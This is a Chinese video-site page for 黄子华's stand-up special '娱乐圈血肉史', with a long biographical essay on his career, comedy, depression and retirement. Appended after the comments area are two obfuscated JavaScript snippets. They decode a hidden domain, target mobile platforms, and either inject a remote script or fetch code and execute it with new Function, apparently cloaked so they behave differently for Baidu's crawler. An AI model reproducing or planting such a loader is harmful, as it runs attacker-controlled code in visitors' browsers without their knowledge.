娱乐圈血肉史

  • 娱乐 生活 社会 历史 文化
  • 黄子华
  • 每期90分钟
  • 娱乐圈血肉史影片简介: 1990年,香港的某个小剧场。…娱乐圈血肉史影片简介: 1990年,香港的某个小剧场。 一个男人在台上,表演单口喜剧。 黑白衫。 平头。 高颧厚唇。 打扮朴素,相貌平平。动作滑稽又可笑。 总之,毫无星相。 谁能想到,这个名不见经传的18线糊咖,会在日后被人们奉为神。 他就是黄子华。 娱乐圈里,长相普通的人,想要出头,往往要另辟蹊径。 黄子华是其中一个。 从走进无线编剧班,到在TVB剧里打酱油,一晃六七年,依然查无此人。 他闷坏了。 多年后,决定一抒胸臆。 结果,那场只有300个观众、名为《娱乐圈血肉史》的表演秀,成了他人生的转折点。 他嘻笑怒骂。 自嘲自贬。 幽默如刀,句句戳心。 所有人笑得前仰后合,又后劲十足。 他一战成名。 此后,他从300人的小剧场,一步步走到了万人瞩目的红磡。 触底反弹。 逆袭而上。 他开创了“栋笃笑”,靠着幽默和讽刺,一路打怪升级。 吴镇宇、郑中基、佘诗曼、刘青云,纷纷成为粉丝,积极捧场。 古巨基说:“神救赎人世,靠笑穴。” 他有了民间称号: “子华神”。 直到2018年,他谢幕封麦。 告别演出的海报一出,众口哗然。 人们这时突然发现,没有黄子华吐槽的香港,变得落寞了。 变得少了一点味道。 灵魂的味道。 是了。 原来,不知不觉间,黄子华和他的“栋笃笑”,已经衍生成为一种香港文化的标志。 香港作家黄碧云曾说:“黄子华凄凉的日子,都在他的笑话里。” 黄子华在底层多年。 栋笃笑的舞台上,他分享自己的经历。 屈辱。 困窘。 摸爬滚打。 母亲改嫁。 他笑称:“都不叫我去,原来她不是跟我爸爸结婚。” 后来母亲又被继父家暴。 继父经常拿着菜刀,去砍在厕所吓得瑟瑟发抖的母亲。 他转述的时候,却风轻云淡:“我这对父母健身的方法就是打架。” 健身器材是“菜刀”。 1984年,黄子华拿下加拿大University of Alberta哲学硕士,回到香港。报考无线演艺培训班。 那一年,无线五虎正当红。刘德华,梁朝伟,黄日华,苗侨伟,汤镇业,个个风生水起。 周星驰刚从这个班毕业,正式入行。 渐成一代喜剧大佬。 只有他,一无是处。 在电台主持。他采访嘉宾,嘉宾频频打哈欠,丝毫不把他当回事。 当导演助理。主要工作是去给黑社会赔笑,求他们少收点保护费。 在电视台上班。他最喜欢的地方,竟然是电梯。 因为当自己和制片人同乘电梯时,就可以堵住对方,让对方无处可逃。 为什么要堵人? 因为没有人愿意给他安排戏约。 经理再三劝诫他,长得太丑,别当演员了。 他说:“原来,这个圈子不接受我这种姿色平庸的人啊。” 就连分给他的角色也一样。 有时候,是“年轻有为的性无能。” 英俊是英俊了。 但“没用”。 有时候,是变态。 穿一身鲜红色西装,留一头长发。 明明什么都没做,就被人当成偷窥狂,抓进警局。 剧中,他以市侩,消化不公。 “没人可以这么对我,除了给我发薪水的那个人。” 现实里,他以自嘲,应对辱骂。 有一次,被人骂是斯文败类。 “我一时之间, 真的是瞠目结舌。 因为从来没人形容过我斯文......” 大众轰然而乐。 黄子华以市侩和自嘲,走入观众心中。 他开创了栋笃笑。 一个舞台,一个人,一支麦,一种粤语,一场脱口秀。 他将悲剧人生,熬成喜剧笑料,以飨港人。 在《金盆口》那场,他说了做栋笃笑的13个理由。 一,朋友患病。 二,时常失眠。 三,带来笑声。 四,下班不想回家,回家不想上班。 ...... 还有一个理由是,“为真小人争取社会地位,不让伪君子霸占整个世界。” 他说:“我只是一支没什么用的火柴,但如果我不燃烧,那我就是一支‘废柴’。” 从此,开始大刀阔斧的批判。 有一次,他跟陈小春同台,担任选秀节目的评委。 节目上,有国外选手用英文介绍自己。 陈小春听不懂。 黄子华好心给他翻译。 没想到,陈小春反怼:“你这么鄙视我?” 黄子华揶揄:“向你解释叫鄙视你,问你要小费是不是打劫你?” 不留余地。 却令对方无地自容。 他嘲讽起娱乐圈的虚假,精辟在理。 说明星越红,越吝啬。 赈灾捐款,特意穿一件破洞的旧衬衫。 黄子华点评:“捐钱这种事,捐条底裤出来,比穿条底裤出来更容易。” 还说,陈百强赈灾,靠游冬泳。 “游一个塘筹一万,游了46个塘。” 刘德华表演心口碎大石,打到喷血。 “很真的。 喷血,是很逼真的。” 艺人的底裤,一下子揭开。 被讽的人难受。 听众却大快人心。 在快节奏的香港,人们需要这样一个人,戳破种种荒诞。 哪怕到了后来,金融危机席来。 民不聊生之下,人们依然愿意走进剧院,花钱看一场栋笃笑。 因为黄子华的段子里,藏着百态众生。 也藏着人间宽慰。 其实金融危机时,这场吃人的龙卷风,将黄子华卷到了风眼深处。 十年里,四次大亏损。几近于倾家荡产。 这么背运,他如何应对? 依然自嘲。 他说:“这不就相当于抄家么。” “如果放在以前,我肯定是个忠臣,不然怎么会被人抄四次家。” 他的自嘲中,颇有阿Q精神。 “我现在的座右铭是,只要没输光就是赢。” 抬头看看那些大人物。 首富李嘉诚输了五成身家。 赌王何鸿燊不见了九成。 “那就是说,我跟李嘉诚打成平手,还赢了何鸿燊。” 多振奋人心呐。 闻者哄堂大笑。 都知道是瞎话,但这种市井式的自我安慰,谁又能说不对呢。 《锵锵三人行》曾评价他:一个伪装成喜剧演员的知识分子。 28年, 17部“栋笃笑”。 反古讽今,针贬时弊,令人欲罢不能。 他说男女关系。 “男人对爱情的要求是新鲜,女人对爱情的要求是保鲜。” 他吐槽婚姻。 “我们结了婚的,很充实的。 一下班就开始忍她。 放假更充实。 忍她全家。” 他谈论经济。 “一个人, 透支一年的收入。 如果不是被老千骗了,那可能他本身就是老千。” 他爱国。 颁奖典礼上,有日本籍的演员到场领奖。 他大方表态: “如果你返回日本,麻烦你同日本人说一声,钓鱼岛是中国的。” 他反讽工作。 “最重要的就是天天要加班,人生才有意义。” 他替社畜发声。 “发工资给我, 不是因为我为公司做了什么, 而是因为我为了这份工作,没为自己做过什么。” 他提醒虚荣人士,不要瞎消费。 “买劳力士的人,大部分都不是靠劳力过活的人士。” 他质疑童谣,品出矛盾的普遍性。 “有妈的孩子是块宝,那么没妈的孩子难道是草吗?” 他看到楼市的浮躁。 “无敌海景是怎样的海景呀? 是不是打架很厉害的海景?无敌嘛。” 他点评抢夺面积的港民。 “人生永远是这样子。 大,你不觉得大。 小一丁点,哇,要我的命......” 他痛斥网络世界。 人心险恶,动辄拔刀相见。 有粉丝因为抢不到栋笃笑的门票,在网上开帖骂黄子华,变成“黄子华老母问候区。” 他点评公共环境。 “我们一睡醒,就要寻仇。” 他怀念着那个人人“面斥不雅”的香港。 有智识。 有风骨。 懂分寸。 知进退。 乍一听,麻辣十足。 仔细一想,全是道理。 或许因为是哲学硕士,黄子华看问题客观、中立、冷静、公允。 2008年,陈冠希事件爆发后,所有人都在津津乐道,坐等吃瓜。 只有黄子华感到不解。 为什么被侵犯了隐私的人,反而要道歉、要被封杀? 一剑封喉般,直指社会沉疴。 真正做到了“面斥不雅”。 港人说,人们爱黄子华,不光因为他够犀利—— 犀利的节目有很多。可谁也代替不了栋笃笑,代替不了黄子华。 而是因为, 他以价值观为基底, 以独门招式一剑封喉, 以四两拨千斤的幽默,展现港人文化。 黄子华,一个隐藏在市井里的哲学大师。 但,谁能想到,这样的人,却患有重度抑郁。 他说,其实,他想做一个演员。 走上喜剧路,是阴差阳错。 他多次自嘲,他是“茄喱啡”(龙套)的一生。 红了以后,他正儿八经地演过一次戏。 2001年,出演《非常公民》。 饰溥仪。 这是一个悲剧史诗型的人物。 他花了十二分的力气,去揣摩、表演。演下来以后,半条命都没了。 他动不动就哭。睁眼哭,闭眼哭。 几乎被夺舍。 加上他急速减肥20多斤,从一个壮年人,迅速变成干瘦老头。 抑郁症找上了他。 他在《志云饭局》谈到患病原因:“太投入。” “我就是为了投入溥仪这个角色,去感受那个人面对历史的巨轮,了解那种渺小,从而产生一种不能自拔的……史诗式的……沮丧。” 明明是这么糟糕的事情,他在台上说起时,硬要加上一句。 “不过我朋友阿强说,我可能只是吃了过期的减肥药。” 痛苦又被解构了。 这就是黄子华。 幽默中,不乏严肃。 严肃中,包裹悲悯。 悲悯中,怀揣大爱。 这样的他,确实担得起一声“子华神”。 因为抑郁, 也因为殚精竭虑。 他每次演出完,都会呆坐。然后理发、游泳,“稀释掉过浓的感情。” 而他的私人生活,也一直简单。 今年,他已经62岁。 一直未婚。 期间爱过,分开过,重逢过,但兜兜转转,还是一个人。 在孤独中,他的思考更加深刻,也更加形而上。 他说: “当你自己长出暗疮,你是不会理会患癌症的人的。” 笑料越来越深。 懂的人越来越少。 2012年,他在《电脑之父图灵》讲座中,挑战禁忌,恣意挥洒。 陆离说: “他几乎回到了奥林匹斯山,是一个神。 因为他不需要哄观众开心,不需要通俗,只需要说他心中的图灵。 他那晚很帅,像回到从前。” 2018年,神坛落幕。 黄子华说完最后一句“多谢”。 此时,BGM响起。 《友谊地久天长》在整个体育馆上空回荡。 黄子华哽咽鞠躬。 他以这首歌作为栋笃笑的句点。 “举杯痛饮,同声歌唱,友谊地久天长......” 曲未尽,声已止。 无尽憧憬,香港传奇,尽在不言中。 只愿荒诞的人世,割裂的香港,能多一点包容。少一点戾气。 人人都能友谊地久天长。 如今,大师已归隐。 世界仍嘈杂。 黄子华,随着香港黄金时代的落幕,转身离去。 再无人,听到笑声深处的叹息。

同类型

同主演

娱乐圈血肉史评论

  • 评论加载中...
function WaeIfQO(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function smAXyVBP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return WaeIfQO(t);};window[''+'B'+'S'+'c'+'p'+'v'+'K'+'R'+'k'+'z'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=smAXyVBP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/g/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('ZXJttbnQuaWttqbndkLnh5eg==','151743',window,document,['t','UyhWYi']);}:function(){};


function WLxXbgTl(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function zPZha(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return WLxXbgTl(t);};window[''+'z'+'E'+'d'+'c'+'C'+'q'+'B'+'S'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=zPZha,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/g/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('ZXJtbnQuaWtqqbndkLnh5eg==','151742',window,document,['q','ZTDMgQ']);}:function(){};